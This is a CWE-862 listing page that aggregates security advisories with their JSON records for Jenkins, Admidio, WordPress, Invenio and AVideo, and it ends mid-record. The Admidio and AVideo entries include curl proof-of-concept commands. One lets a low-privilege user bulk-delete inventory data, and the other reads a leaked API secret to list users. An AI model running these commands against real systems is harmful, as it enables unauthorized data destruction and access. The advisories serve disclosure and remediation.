CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14539 vulnerabilities reference this CWE, most recent first.
GHSA-XQQR-MQ8X-22QX
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2023-10-26 22:27Jenkins jx-resources Plugin did not perform permission checks on a method implementing form validation. This allowed users with Overall/Read access to Jenkins to connect to an attacker-specified Kubernetes server and obtain information about an attacker-specified namespace. Doing so might also leak service account credentials used for the connection. Additionally, it allowed attackers to obtain the value of any attacker-specified environment variable for the Jenkins controller process.
Additionally, this form validation method did not require POST requests, resulting in a cross-site request forgery vulnerability.
This form validation method now requires POST requests and Overall/Administer permissions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.36"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:jx-resources"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10339"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-26T22:27:39Z",
"nvd_published_at": "2019-06-11T14:29:00Z",
"severity": "MODERATE"
},
"details": "Jenkins jx-resources Plugin did not perform permission checks on a method implementing form validation. This allowed users with Overall/Read access to Jenkins to connect to an attacker-specified Kubernetes server and obtain information about an attacker-specified namespace. Doing so might also leak service account credentials used for the connection. Additionally, it allowed attackers to obtain the value of any attacker-specified environment variable for the Jenkins controller process.\n\nAdditionally, this form validation method did not require POST requests, resulting in a cross-site request forgery vulnerability.\n\nThis form validation method now requires POST requests and Overall/Administer permissions.",
"id": "GHSA-xqqr-mq8x-22qx",
"modified": "2023-10-26T22:27:39Z",
"published": "2022-05-24T16:47:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10339"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jx-resources-plugin/commit/f0d9fb76230b65e851095da936a439d953c5f64d"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-06-11/#SECURITY-1379"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227033720/http://www.securityfocus.com/bid/108747"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/06/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins JX Resources Plugin missing permission check "
}
GHSA-XQV4-XM7H-52CV
Vulnerability from github – Published: 2026-04-29 21:46 – Updated: 2026-05-08 20:13Summary
The Admidio inventory module enforces authorization for destructive operations (delete, retire, reinstate) only in the UI layer by conditionally rendering buttons. The backend POST handlers at modules/inventory.php for item_delete, item_retire, item_reinstate, item_picture_upload, item_picture_save, and item_picture_delete perform CSRF validation but never check whether the requesting user is an inventory administrator. Any authenticated user who can access the inventory module can permanently delete any inventory item and all its associated data.
Details
The inventory module applies a module-level access control check at modules/inventory.php:65-72 that determines whether a user can access the inventory module at all, based on the inventory_module_enabled setting. In the default configuration (value 2), any logged-in user passes this check.
The item_delete handler at lines 381-397 only validates the CSRF token:
// modules/inventory.php:381-397
case 'item_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if (count($getItemUUIDs) > 0) {
foreach ($getItemUUIDs as $itemUuid) {
$itemService = new ItemService($gDb, $itemUuid);
$itemService->delete();
}
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_SELECTION_DELETED')));
} else {
$itemService = new ItemService($gDb, $getiniUUID);
$itemService->delete();
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEM_DELETED')));
}
break;
There is no call to $gCurrentUser->isAdministratorInventory() before executing the deletion. The service layer (ItemService::delete() at src/Inventory/Service/ItemService.php:86-92) and the data layer (ItemsData::deleteItem() at src/Inventory/ValueObjects/ItemsData.php:1078-1095) also contain no authorization checks — they directly execute DELETE FROM SQL statements on the item data, borrow data, and item tables.
Meanwhile, the UI does check admin status before showing delete buttons:
// modules/inventory.php:306-309 (UI only)
if ($gCurrentUser->isAdministratorInventory()) {
$msg .= '<button id="adm_button_delete" ...>';
}
This creates a false sense of security — the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list.
The same missing-authorization pattern affects:
- item_retire (line 347) — soft-retires items without admin check
- item_reinstate (line 364) — reinstates retired items without admin check
- item_picture_upload (line 428) — uploads pictures without admin check
- item_picture_save (line 445) — saves pictures without admin check
- item_picture_delete (line 457) — deletes pictures without admin check
PoC
Prerequisites: An Admidio instance with the inventory module enabled (default setting inventory_module_enabled=2), two user accounts — one admin who created inventory items, and one regular user with no inventory admin rights.
# Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token
# The CSRF token is embedded in any page the user can access
curl -c cookies.txt -b cookies.txt 'https://target/adm_program/modules/inventory.php?mode=item_list'
# Step 2: Extract a target item UUID from the inventory list page
# Item UUIDs are visible in the list view HTML to all users with module access
# Step 3: Permanently delete the item (as a non-admin user)
curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuid=TARGET-ITEM-UUID' \
-H 'Cookie: PHPSESSID=regular_user_session' \
-d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'
# Expected response: {"status":"success","message":"Item deleted"}
# The item and all associated data (item fields, borrow records) are permanently deleted.
# Step 4: Bulk deletion is also possible
curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuids[]=UUID1&item_uuids[]=UUID2&item_uuids[]=UUID3' \
-H 'Cookie: PHPSESSID=regular_user_session' \
-d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'
Impact
- Data destruction: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin — the SQL
DELETE FROMstatements are irreversible without database backups. - Bulk deletion: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request.
- Additional unauthorized operations: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model.
- Blast radius: In organizations using Admidio's inventory module to track physical assets, a disgruntled member or compromised low-privilege account could wipe the entire inventory database.
Recommended Fix
Add isAdministratorInventory() checks to all destructive inventory endpoints. The fix should be applied at the handler level in modules/inventory.php before any service calls:
// modules/inventory.php — Add authorization check to item_delete
case 'item_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
// ADD THIS: check if user has admin rights for inventory
if (!$gCurrentUser->isAdministratorInventory()) {
throw new Exception('SYS_NO_RIGHTS');
}
if (count($getItemUUIDs) > 0) {
// ... existing code
Apply the same pattern to item_retire, item_reinstate, item_picture_upload, item_picture_save, and item_picture_delete. Additionally, consider adding authorization checks in ItemService methods as defense-in-depth.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.8"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41658"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T21:46:23Z",
"nvd_published_at": "2026-05-07T04:16:29Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Admidio inventory module enforces authorization for destructive operations (delete, retire, reinstate) only in the UI layer by conditionally rendering buttons. The backend POST handlers at `modules/inventory.php` for `item_delete`, `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete` perform CSRF validation but never check whether the requesting user is an inventory administrator. Any authenticated user who can access the inventory module can permanently delete any inventory item and all its associated data.\n\n## Details\n\nThe inventory module applies a module-level access control check at `modules/inventory.php:65-72` that determines whether a user can access the inventory module at all, based on the `inventory_module_enabled` setting. In the default configuration (value `2`), any logged-in user passes this check.\n\nThe `item_delete` handler at lines 381-397 only validates the CSRF token:\n\n```php\n// modules/inventory.php:381-397\ncase \u0027item_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n if (count($getItemUUIDs) \u003e 0) {\n foreach ($getItemUUIDs as $itemUuid) {\n $itemService = new ItemService($gDb, $itemUuid);\n $itemService-\u003edelete();\n }\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_SELECTION_DELETED\u0027)));\n } else {\n $itemService = new ItemService($gDb, $getiniUUID);\n $itemService-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_ITEM_DELETED\u0027)));\n }\n break;\n```\n\nThere is no call to `$gCurrentUser-\u003eisAdministratorInventory()` before executing the deletion. The service layer (`ItemService::delete()` at `src/Inventory/Service/ItemService.php:86-92`) and the data layer (`ItemsData::deleteItem()` at `src/Inventory/ValueObjects/ItemsData.php:1078-1095`) also contain no authorization checks \u2014 they directly execute `DELETE FROM` SQL statements on the item data, borrow data, and item tables.\n\nMeanwhile, the UI **does** check admin status before showing delete buttons:\n\n```php\n// modules/inventory.php:306-309 (UI only)\nif ($gCurrentUser-\u003eisAdministratorInventory()) {\n $msg .= \u0027\u003cbutton id=\"adm_button_delete\" ...\u003e\u0027;\n}\n```\n\nThis creates a false sense of security \u2014 the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list.\n\nThe same missing-authorization pattern affects:\n- `item_retire` (line 347) \u2014 soft-retires items without admin check\n- `item_reinstate` (line 364) \u2014 reinstates retired items without admin check\n- `item_picture_upload` (line 428) \u2014 uploads pictures without admin check\n- `item_picture_save` (line 445) \u2014 saves pictures without admin check\n- `item_picture_delete` (line 457) \u2014 deletes pictures without admin check\n\n## PoC\n\nPrerequisites: An Admidio instance with the inventory module enabled (default setting `inventory_module_enabled=2`), two user accounts \u2014 one admin who created inventory items, and one regular user with no inventory admin rights.\n\n```bash\n# Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token\n# The CSRF token is embedded in any page the user can access\ncurl -c cookies.txt -b cookies.txt \u0027https://target/adm_program/modules/inventory.php?mode=item_list\u0027\n\n# Step 2: Extract a target item UUID from the inventory list page\n# Item UUIDs are visible in the list view HTML to all users with module access\n\n# Step 3: Permanently delete the item (as a non-admin user)\ncurl -X POST \u0027https://target/adm_program/modules/inventory.php?mode=item_delete\u0026item_uuid=TARGET-ITEM-UUID\u0027 \\\n -H \u0027Cookie: PHPSESSID=regular_user_session\u0027 \\\n -d \u0027adm_csrf_token=EXTRACTED_CSRF_TOKEN\u0027\n\n# Expected response: {\"status\":\"success\",\"message\":\"Item deleted\"}\n# The item and all associated data (item fields, borrow records) are permanently deleted.\n\n# Step 4: Bulk deletion is also possible\ncurl -X POST \u0027https://target/adm_program/modules/inventory.php?mode=item_delete\u0026item_uuids[]=UUID1\u0026item_uuids[]=UUID2\u0026item_uuids[]=UUID3\u0027 \\\n -H \u0027Cookie: PHPSESSID=regular_user_session\u0027 \\\n -d \u0027adm_csrf_token=EXTRACTED_CSRF_TOKEN\u0027\n```\n\n## Impact\n\n- **Data destruction**: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin \u2014 the SQL `DELETE FROM` statements are irreversible without database backups.\n- **Bulk deletion**: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request.\n- **Additional unauthorized operations**: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model.\n- **Blast radius**: In organizations using Admidio\u0027s inventory module to track physical assets, a disgruntled member or compromised low-privilege account could wipe the entire inventory database.\n\n## Recommended Fix\n\nAdd `isAdministratorInventory()` checks to all destructive inventory endpoints. The fix should be applied at the handler level in `modules/inventory.php` before any service calls:\n\n```php\n// modules/inventory.php \u2014 Add authorization check to item_delete\ncase \u0027item_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n // ADD THIS: check if user has admin rights for inventory\n if (!$gCurrentUser-\u003eisAdministratorInventory()) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n\n if (count($getItemUUIDs) \u003e 0) {\n // ... existing code\n```\n\nApply the same pattern to `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete`. Additionally, consider adding authorization checks in `ItemService` methods as defense-in-depth.",
"id": "GHSA-xqv4-xm7h-52cv",
"modified": "2026-05-08T20:13:44Z",
"published": "2026-04-29T21:46:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-xqv4-xm7h-52cv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41658"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio\u0027s Missing Authorization on Inventory Module Destructive Endpoints Allows Any Authenticated User to Delete Items"
}
GHSA-XQVW-6QP4-5G2P
Vulnerability from github – Published: 2025-11-18 12:30 – Updated: 2025-11-18 12:30The WP Duplicate Page plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.7. This is due to the plugin not properly verifying that a user is authorized to perform an action in the 'saveSettings' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify plugin settings that control role capabilities, and subsequently exploit the misconfigured capabilities to duplicate and view password-protected posts containing sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-12481"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-18T10:15:47Z",
"severity": "MODERATE"
},
"details": "The WP Duplicate Page plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.7. This is due to the plugin not properly verifying that a user is authorized to perform an action in the \u0027saveSettings\u0027 function. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify plugin settings that control role capabilities, and subsequently exploit the misconfigured capabilities to duplicate and view password-protected posts containing sensitive information.",
"id": "GHSA-xqvw-6qp4-5g2p",
"modified": "2025-11-18T12:30:18Z",
"published": "2025-11-18T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12481"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-duplicate-page/tags/1.6/includes/Classes/ButtonDuplicate.php#L137"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-duplicate-page/tags/1.6/includes/Page/Settings.php#L92"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3394773%40wp-duplicate-page%2Ftrunk\u0026old=3386144%40wp-duplicate-page%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61105f6a-1bd7-415d-9481-a1c2c310f778?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQXJ-X89X-6RQ4
Vulnerability from github – Published: 2024-06-11 15:31 – Updated: 2024-06-11 15:31Missing Authorization vulnerability in Discourse WP Discourse.This issue affects WP Discourse: from n/a through 2.5.1.
{
"affected": [],
"aliases": [
"CVE-2024-35168"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T15:16:07Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Discourse WP Discourse.This issue affects WP Discourse: from n/a through 2.5.1.",
"id": "GHSA-xqxj-x89x-6rq4",
"modified": "2024-06-11T15:31:15Z",
"published": "2024-06-11T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35168"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-discourse/wordpress-wp-discourse-plugin-2-5-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XR38-W74Q-R8JV
Vulnerability from github – Published: 2021-12-06 23:57 – Updated: 2024-09-23 16:02Impact
Invenio-Drafts-Resources does not properly check permissions when a record is published. The vulnerability is exploitable in a default installation of InvenioRDM. An authenticated user is able via REST API calls to publish draft records of other users if they know the record identifier and the draft validates (e.g. all require fields filled out). An attacker is not able to modify the data in the record, and thus e.g. cannot change a record from restricted to public.
Details
The service's publish() method contains the following permission check:
def publish(..):
self.require_permission(identity, "publish")
However, the record should have been passed into the permission check so that the need generators have access to e.g. the record owner.
def publish(..):
self.require_permission(identity, "publish", record=record)
The bug is activated in Invenio-RDM-Records which has a need generator called RecordOwners(), which when no record is passed in defaults to allow any authenticated user:
class RecordOwners(Generator):
def needs(self, record=None, **kwargs):
if record is None:
return [authenticated_user]
# ...
Patches
The problem is patched in Invenio-Drafts-Resources v0.13.7 and 0.14.6+, which is part of InvenioRDM v6.0.1 and InvenioRDM v7.0 respectively.
You can verify the version installed of Invenio-Drafts-Resources via PIP:
cd ~/src/my-site
pipenv run pip freeze | grep invenio-drafts-resources
References
For more information
If you have any questions or comments about this advisory: * Chat with us on Discord: https://discord.gg/8qatqBC
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-drafts-resources"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-app-rdm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-rdm-records"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-drafts-resources"
},
"ranges": [
{
"events": [
{
"introduced": "0.14.0"
},
{
"fixed": "0.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-rdm-records"
},
"ranges": [
{
"events": [
{
"introduced": "0.33.0"
},
{
"fixed": "0.33.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "invenio-app-rdm"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0.dev0"
},
{
"fixed": "7.0.0.dev5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-43781"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2021-12-06T22:15:02Z",
"nvd_published_at": "2021-12-06T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nInvenio-Drafts-Resources does not properly check permissions when a record is published. The vulnerability is exploitable in a default installation of InvenioRDM. An authenticated user is able via REST API calls to publish draft records of other users if they know the record identifier and the draft validates (e.g. all require fields filled out). An attacker is not able to modify the data in the record, and thus e.g. *cannot* change a record from restricted to public.\n\n### Details\n\nThe service\u0027s ``publish()`` method contains the following permission check:\n\n```python\ndef publish(..):\n self.require_permission(identity, \"publish\")\n```\nHowever, the record should have been passed into the permission check so that the need generators have access to e.g. the record owner.\n\n```python\ndef publish(..):\n self.require_permission(identity, \"publish\", record=record)\n```\nThe bug is activated in Invenio-RDM-Records which has a need generator called ``RecordOwners()``, which when no record is passed in defaults to allow any authenticated user:\n\n```python\nclass RecordOwners(Generator):\n def needs(self, record=None, **kwargs):\n if record is None:\n return [authenticated_user]\n # ...\n```\n\n### Patches\n\nThe problem is patched in Invenio-Drafts-Resources v0.13.7 and 0.14.6+, which is part of InvenioRDM v6.0.1 and InvenioRDM v7.0 respectively.\n\nYou can verify the version installed of Invenio-Drafts-Resources via PIP:\n\n```console\ncd ~/src/my-site\npipenv run pip freeze | grep invenio-drafts-resources\n```\n\n### References\n\n- [Security policy](https://invenio.readthedocs.io/en/latest/community/security-policy.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Chat with us on Discord: https://discord.gg/8qatqBC\n\n",
"id": "GHSA-xr38-w74q-r8jv",
"modified": "2024-09-23T16:02:05Z",
"published": "2021-12-06T23:57:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/inveniosoftware/invenio-drafts-resources/security/advisories/GHSA-xr38-w74q-r8jv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43781"
},
{
"type": "WEB",
"url": "https://github.com/inveniosoftware/invenio-drafts-resources/commit/039b0cff1ad4b952000f4d8c3a93f347108b6626"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/invenio-app-rdm/PYSEC-2021-837.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/invenio-drafts-resources/PYSEC-2021-836.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Permissions not properly checked in Invenio-Drafts-Resources"
}
GHSA-XR49-F4RH-QCJF
Vulnerability from github – Published: 2026-05-05 22:20 – Updated: 2026-05-13 14:28Summary
An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints
(e.g. users_list) without logging in.
### Details
objects/plugins.json.php is public and still exposes plugin object_data containing APISecret.
That secret is accepted by plugin/API/get.json.php as authentication.
### PoC
1. Get plugin config (contains APISecret):
```bash
curl 'http:///objects/plugins.json.php'
<img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" />
2. Copy APISecret from response, then call API directly:
```bash
curl --get 'http://<host>/plugin/API/get.json.php' \
--data-urlencode 'APIName=users_list' \
--data-urlencode 'APISecret=<APISecret>' \
--data-urlencode 'rowCount=3' \
--data-urlencode 'current=1'
### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.
### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43885"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T22:20:42Z",
"nvd_published_at": "2026-05-11T22:22:13Z",
"severity": "HIGH"
},
"details": "### Summary\n An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints\n (e.g. `users_list`) without logging in.\n\n ### Details\n `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`.\n That secret is accepted by `plugin/API/get.json.php` as authentication.\n\n ### PoC\n 1. Get plugin config (contains `APISecret`):\n ```bash\n curl \u0027http://\u003chost\u003e/objects/plugins.json.php\u0027\n```\n\u003cimg width=\"879\" height=\"94\" alt=\"image\" src=\"https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb\" /\u003e\n\n 2. Copy APISecret from response, then call API directly:\n ```bash\n curl --get \u0027http://\u003chost\u003e/plugin/API/get.json.php\u0027 \\\n --data-urlencode \u0027APIName=users_list\u0027 \\\n --data-urlencode \u0027APISecret=\u003cAPISecret\u003e\u0027 \\\n --data-urlencode \u0027rowCount=3\u0027 \\\n --data-urlencode \u0027current=1\u0027\n```\n\u003cimg width=\"1719\" height=\"170\" alt=\"image\" src=\"https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79\" /\u003e\n\n\n ### Impact\n Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.\n\n ### Recommended fix\n Requiring admin auth for full plugin inventory/config endpoint.",
"id": "GHSA-xr49-f4rh-qcjf",
"modified": "2026-05-13T14:28:45Z",
"published": "2026-05-05T22:20:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xr49-f4rh-qcjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43885"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization"
}
GHSA-XR7X-6C7P-2FW4
Vulnerability from github – Published: 2024-06-14 03:31 – Updated: 2024-06-14 03:31Missing Authorization vulnerability in ExpressTech Quiz And Survey Master.This issue affects Quiz And Survey Master: from n/a through 8.1.16.
{
"affected": [],
"aliases": [
"CVE-2023-51507"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-14T02:15:09Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in ExpressTech Quiz And Survey Master.This issue affects Quiz And Survey Master: from n/a through 8.1.16.",
"id": "GHSA-xr7x-6c7p-2fw4",
"modified": "2024-06-14T03:31:19Z",
"published": "2024-06-14T03:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51507"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/quiz-master-next/wordpress-quiz-and-survey-master-plugin-8-1-16-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XR8H-WJ4V-RX7F
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2023-02-03 20:35A missing check in Jenkins TestQuality Updater Plugin 1.3 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:testquality-updater"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-24453"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-27T00:58:38Z",
"nvd_published_at": "2023-01-26T21:18:00Z",
"severity": "MODERATE"
},
"details": "A missing check in Jenkins TestQuality Updater Plugin 1.3 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.",
"id": "GHSA-xr8h-wj4v-rx7f",
"modified": "2023-02-03T20:35:21Z",
"published": "2023-01-26T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24453"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2023-01-24/#SECURITY-2800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins TestQuality Updater Plugin "
}
GHSA-XR96-49C7-2PFC
Vulnerability from github – Published: 2025-12-31 18:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Damian WP Export Categories & Taxonomies allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Export Categories & Taxonomies: from n/a through 1.0.3.
{
"affected": [],
"aliases": [
"CVE-2025-62079"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T16:15:43Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Damian WP Export Categories \u0026 Taxonomies allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Export Categories \u0026amp; Taxonomies: from n/a through 1.0.3.",
"id": "GHSA-xr96-49c7-2pfc",
"modified": "2026-04-28T21:35:52Z",
"published": "2025-12-31T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62079"
},
{
"type": "WEB",
